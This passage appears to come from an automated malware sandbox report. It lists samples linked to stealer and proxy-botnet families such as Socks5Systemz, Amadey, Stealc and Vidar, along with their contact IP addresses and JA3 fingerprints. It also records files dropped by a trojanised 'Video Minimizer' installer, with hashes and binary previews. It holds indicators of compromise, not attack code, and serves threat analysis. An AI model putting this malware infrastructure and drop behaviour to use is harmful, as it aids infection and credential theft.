	file.exe	Get hash	malicious	Socks5Systemz	Browse	31.214.157.206
	file.exe	Get hash	malicious	Socks5Systemz	Browse	31.214.157.206
	file.exe	Get hash	malicious	Socks5Systemz	Browse	31.214.157.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.214.157.124
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	31.214.157.226
	.gov.ua.html	Get hash	malicious	Unknown	Browse	31.214.157.49
FLYNETRU	imMQqf6YWk.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	imMQqf6YWk.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.119.66.185
	file.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	https://drive.google.com/file/d/1yoYdaJg2olHzjqEKXjn6nnXKPPak7HoL/view?usp=sharing_eil&ts=675747b9	Get hash	malicious	Unknown	Browse	188.119.66.154
	file.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	file.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	file.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	file.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	file.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
INT-NETWORKSC	PGkSZbFKmI.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	80.82.65.70
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	BsVEQQnfyN.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	imMQqf6YWk.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	imMQqf6YWk.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	17Xmvtq2Tq.exe	Get hash	malicious	Vidar	Browse	188.119.66.185
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.119.66.185
	file.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	file.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	file.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	file.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	file.exe	Get hash	malicious	Socks5Systemz	Browse	188.119.66.185
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	188.119.66.185

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\EarnPackage\sqlite3.dll	imMQqf6YWk.exe	Get hash	malicious	Socks5Systemz	Browse
	imMQqf6YWk.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse

Created / dropped Files

C:\ProgramData\EarnPackage\EarnPackage.exe

Download File

Process:	C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3335664
Entropy (8bit):	6.663593487538586
Encrypted:	false
SSDEEP:	49152:QkLxnG8PkcX6X4mMMFXck1Q2HRNZkrPyZd9tSr9aPibscQZn5OUg:QkLdGm81MMFDQ2HRNZ2PyZneWt5OT
MD5:	BDDC95BF37B6EB97D516948CEC1CB311
SHA1:	69EFD2FCE1120E4EE0AB90F0DA0CD25D0E6D8C9A
SHA-256:	6AF15A2E4A68C12D983D020F566FDF11FDD1F8AD92ACFB6E2E469E4C0209255D
SHA-512:	D6ABC412106C59A2F6682D5D4FE5FF4E24D84BD15E060A6BC30EE78CEAE7767B29C7D60235BAA80F4EB3549EC4600C1609CED9660CF7293422BC2A91C5DCCB57
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\EarnPackage\EarnPackage.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................PE..L.....Zg.....................^.......]............@..........................P3......k3..............................................P..................................................................................@............................text...j........................... ..`_abtt_2.............................@..@_actt_2.xd.......0..................@....rsrc........P......................@..@_adtt_2...!..0....!.................`.+.........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EarnPackage\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: imMQqf6YWk.exe, Detection: malicious, Browse Filename: imMQqf6YWk.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	679860
Entropy (8bit):	5.255416157398269
Encrypted:	false
SSDEEP:	12288:eBLiKZWAAllNJheaP7QaPa8CtcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDpO1e:V+DN
MD5:	14BE3F97CF00DE60A9745DF6684BB930
SHA1:	82ACBF90E955BBD55A116799056426A3D2C30C2F
SHA-256:	678C4CC81F036DEEF0075844FA7115E40C07DE22137102A5CFF61D3CE7CDD68C
SHA-512:	1F476916140A570B4506830BB4A337A1F45DCE9600DE3CB1BF48BB1F17B7D2CB4E555CBCDAC808AFF57F5CDE099D004E2629F9406EA5780355BF7E9A08E78212
Malicious:	false
Preview:	....H...ZV}..i.,.D..."/...RN,u......$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........

C:\ProgramData\Microsoft\Windows\ClipSvc\tokens.dat.bak (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	679860
Entropy (8bit):	5.255416157398269
Encrypted:	false
SSDEEP:	12288:eBLiKZWAAllNJheaP7QaPa8CtcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDpO1e:V+DN
MD5:	14BE3F97CF00DE60A9745DF6684BB930
SHA1:	82ACBF90E955BBD55A116799056426A3D2C30C2F
SHA-256:	678C4CC81F036DEEF0075844FA7115E40C07DE22137102A5CFF61D3CE7CDD68C
SHA-512:	1F476916140A570B4506830BB4A337A1F45DCE9600DE3CB1BF48BB1F17B7D2CB4E555CBCDAC808AFF57F5CDE099D004E2629F9406EA5780355BF7E9A08E78212
Malicious:	false
Preview:	....H...ZV}..i.,.D..."/...RN,u......$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_fafd47531ab6d510499988ddace487f076f293_c8b7b6aa_0c6c32f0-cc55-40c5-ab8a-9ae0d47c1594\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9694792799967933
Encrypted:	false
SSDEEP:	192:jfQtFrK+vJPiA0u1Haxt3jud3szuiFiZ24IO8TQBV:kvJou1HEj3zuiFiY4IO8I
MD5:	B63F27C3DD0AB486BF10A569AAB5993F
SHA1:	5858C82F34FBB4513DAC912F5B9A8293E7C450D5
SHA-256:	B3DDABEDC3D0072D62DFD691735852A29D816125691B40C2A3BC82E6A81A8057
SHA-512:	B0A24A1534F226CFF3E449FABF9DE9ECD86F3229AF826510764378D614E6C8762B205212199165FF2E63421160523FD81D2D39F139515BDB4FC04E73341DF84C
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.4.9.2.1.0.7.4.5.1.1.1.7.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.4.9.2.1.0.7.9.8.2.3.7.5.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.c.6.c.3.2.f.0.-.c.c.5.5.-.4.0.c.5.-.a.b.8.a.-.9.a.e.0.d.4.7.c.1.5.9.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.b.d.0.3.a.f.4.-.5.4.d.5.-.4.d.a.4.-.8.1.e.7.-.4.4.0.2.1.2.1.7.d.b.0.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.8.0.-.0.0.0.1.-.0.0.1.3.-.5.f.9.2.-.9.0.1.7.a.d.4.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.1.4.9.7.9.f.a.6.0.7.e.3.8.d.2.7.9.0.5.b.1.f.1.5.1.f.1.c.2.5.8.0.0.0.0.1.5.0.6.!.0.0.0.0.3.1.6.1.3.9.d.d.3.e.d.c.d.5.a.f.3.a.8.a.f.b.d.8.9.e.4.4.a.c.1.0.b.b.8.e.8.7.e.7.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCA8.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 12 15:48:27 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	47220
Entropy (8bit):	2.5466710383051803
Encrypted:	false
SSDEEP:	384:z2UqUkVtjpb2lf+NJYr7hIWSu+hwtVGhb2q:zLGHjpb4f+Y9kwtoR
MD5:	CE6855CF543E90DF1C07586460D6D023
SHA1:	956E49F9B83711AC50DF62A9BB7CF268137631E9
SHA-256:	DE614784775A96B5212D0589B133F4E1B53850DCC23979AF5C6C2C1AEEAE01D6
SHA-512:	1143CCEF36421657DAFD3F288DC888C2ADA032AC0E21FDF5F058467AF643B1CFF439DAA5A2587DC20D66CA4AD861C3A78777212EA27B4ED94FE8319BFE038EE4
Malicious:	false
Preview:	MDMP..a..... .........[g............4...........8...<.......T....,..........T.......8...........T............C...t..........t...........` ..............................................................................eJ....... ......GenuineIntel............T...........x.[g....>........................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC2.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8298
Entropy (8bit):	3.693753348037004
Encrypted:	false
SSDEEP:	192:R6l7wVeJfCX6n+DA26YeySU9ngmfBGWOpDT89bjIsf7Qphm:R6lXJC6nQA26YLSU9ngmfZHj7fse
MD5:	6EEE9A8FD2D09F14FF817EFC26C2F6B3
SHA1:	D2A3D0207C15F203F606B6471FD25D35FAB59221
SHA-256:	4448EB501BDCCB68CEB1D5B839674DB04DA9B488E3A677428575E65B26DDFB0E
SHA-512:	04E2D61EB439D2214667D079899CC8338BAAB9669A88ED24FA02E771FA54034286824961C2334E2A58A1C030B5EA0A29B7B9F2A66D45AAB1DFED1D0ACF03C97A
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.8.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE02.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4541
Entropy (8bit):	4.428764504971277
Encrypted:	false
SSDEEP:	48:cvIwWl8zsOJg77aI9L4WpW8VYDVYm8M4JBRFgs+q82nSEn6ke+u+9d:uIjfEI7tx7VlJ2sHSVD+u+9d
MD5:	1EA00BAD1DB299867FD441E62A887F15
SHA1:	B282925FA26DBDE36C55484F7157CC84914C0B2F
SHA-256:	08565B042CA122E078B6F55CD638CEA5047F7C0B56EECA38AFF1D13323729C85
SHA-512:	FC55C3D6D88A0B71BAB729DAD0763C5D7FD2B98A0E6825947F8F85DB53164561A7E57BD6B8FC9AABC448AEFA0A8C4CDB1AF1B538E70A93565B0AFCFE1FAFF024
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="628251" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE0F.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	76800
Entropy (8bit):	3.0484492058691486
Encrypted:	false
SSDEEP:	1536:DDvBlMGAdvWDn1qB6K5HA4HqjD3M+fSFB58vV+/+7vF+nX+M3+sA0Kvo+FV+BxQS:DDvBlMGAdvWDn1qB6K5HA4HqjD3M+fSB
MD5:	7F9B49DCD27AE636B874CEA94EDC084E
SHA1:	E6668065455E4DFA881D7BC40BFED731DB618FF2
SHA-256:	C52A439040686346F1A067BADE785A43CD08B0A2C1649B30D3299BA6DEB7269B
SHA-512:	0376267E199CE56DF62DB1943E7BA893167B3EF11EEE646155DC04FD205169EB92FFA22533851454D48FCA9A513420F89F9CC2427C3B11805BB5AC9DC5A7218E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE6E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6869387591683256
Encrypted:	false
SSDEEP:	96:TiZYWjS4K0YvtYHWyHYYEZvstSiFuYJiwFu3P8aJhmrMxienISs3:2ZDhi1eTaJhqMxiPSs3
MD5:	2A06A8477E1A1711814CABDBEA277C00
SHA1:	BC70C374DBB0B842C264517DAEDA659B71374B06
SHA-256:	A0AC9881A4B3C29E8A3EE92EA2EF2AB0E6772CF29C583E3536196608FB9A9630
SHA-512:	251EDD580D689BBA8BEDF442254C1EC6A83CFE811D9E6CF29EE251E2012C909871CFA0E1BAEA8B8A775078D6E41AFF25FC56AEE8EA8603846323EF007CFB97CC
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\ea1212it53.dat

Download File

Process:	C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
File Type:	International EBCDIC text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:q//:6/
MD5:	4A18A6C1B476C23FF9FDC7C95BF4CCBB
SHA1:	AFF8CD06B6D9457B4B1ED63A53C64D07AC455E66
SHA-256:	9128C1C2F71238DA176C82247DEBDC41C6D632C214456EC91ABCF8336E30CF44
SHA-512:	AAE20773FE7B0C077FC5F006DDA3520AEF5E88F8BE76628DF78B68D994EE4548EA1764EAE3E3AFBA6A7CFAFFD191D1BD713C25B54E8716030C36D7B118D6EDDF
Malicious:	false
Preview:	..[g....

C:\ProgramData\ea1212rc53.dat

Download File

Process:	C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:M:M
MD5:	4352D88A78AA39750BF70CD6F27BCAA5
SHA1:	3C585604E87F855973731FEA83E21FAB9392D2FC
SHA-256:	67ABDD721024F0FF4E0B3F4C2FC13BC5BAD42D0B7851D456D88D203D15AAA450
SHA-512:	EDF92E3D4F80FC47D948EA2F17B9BFC742D34E2E785A7A4927F3E261E8BD9D400B648BFF2123B8396D24FB28F5869979E08D58B4B5D156E640344A2C0A54675D
Malicious:	false
Preview:	....

C:\ProgramData\ea1212resa.dat

Download File

Process:	C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	2.9012093522336393
Encrypted:	false
SSDEEP:	3:ObXXXd0AbDBdUBWetxt:Or9Lb3UFx
MD5:	679DD163372163CD8FFC24E3C9E758B3
SHA1:	F307C14CA65810C8D0238B89B49B2ACD7C5B233B
SHA-256:	510EA89D00FA427C33BD67AEEA60D21066976F085959C2AFE1F69411A8CA722D
SHA-512:	46C464F15BCE39E28DCD48AF36C424845631D2B48D7E37D7FBBBEE0BC4DF32445A2810E397BF29FCA76C0364B1AA30CC05DCF4D9E799C6C697B49A174560969C
Malicious:	false
Preview:	12b48997735ce8b4537cf99be74bb62f518d3799011c89eb7c719048e83fac56................................................................

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	999
Entropy (8bit):	4.966299883488245
Encrypted:	false
SSDEEP:	24:Jd4T7gw4TchTGBLtKEHcHGuDyeHRuDye6MGFiP6euDyRtz:34T53VGLv8HGuDyeHRuDye6MGFiP6euy
MD5:	24567B9212F806F6E3E27CDEB07728C0
SHA1:	371AE77042FFF52327BF4B929495D5603404107D
SHA-256:	82F352AD3C9B3E58ECD3207EDC38D5F01B14D968DA908406BD60FD93230B69F6
SHA-512:	5D5E65FCD9061DADC760C9B3124547F2BABEB49FD56A2FD2FE2AD2211A1CB15436DB24308A0B5A87DA24EC6AB2A9B0C5242D828BE85BD1B2683F9468CE310904
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<software_identification_tag xmlns="http://standards.iso.org/iso/19770/-2/2009/schema.xsd">...<entitlement_required_indicator>true</entitlement_required_indicator>...<product_title>Windows 10 Pro</product_title>...<product_version>....<name>10.0.19041.1865</name>....<numeric>.....<major>10</major>.....<minor>0</minor>.....<build>19041</build>.....<review>1865</review>....</numeric>...</product_version>...<software_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_creator>...<software_licensor>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_licensor>...<software_id>....<unique_id>Windows-10-Pro</unique_id>....<tag_creator_regid>regid.1991-06.com.microsoft</tag_creator_regid>...</software_id>...<tag_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</tag_creator>..</software_identification_tag>..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\xIphwNW7O.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
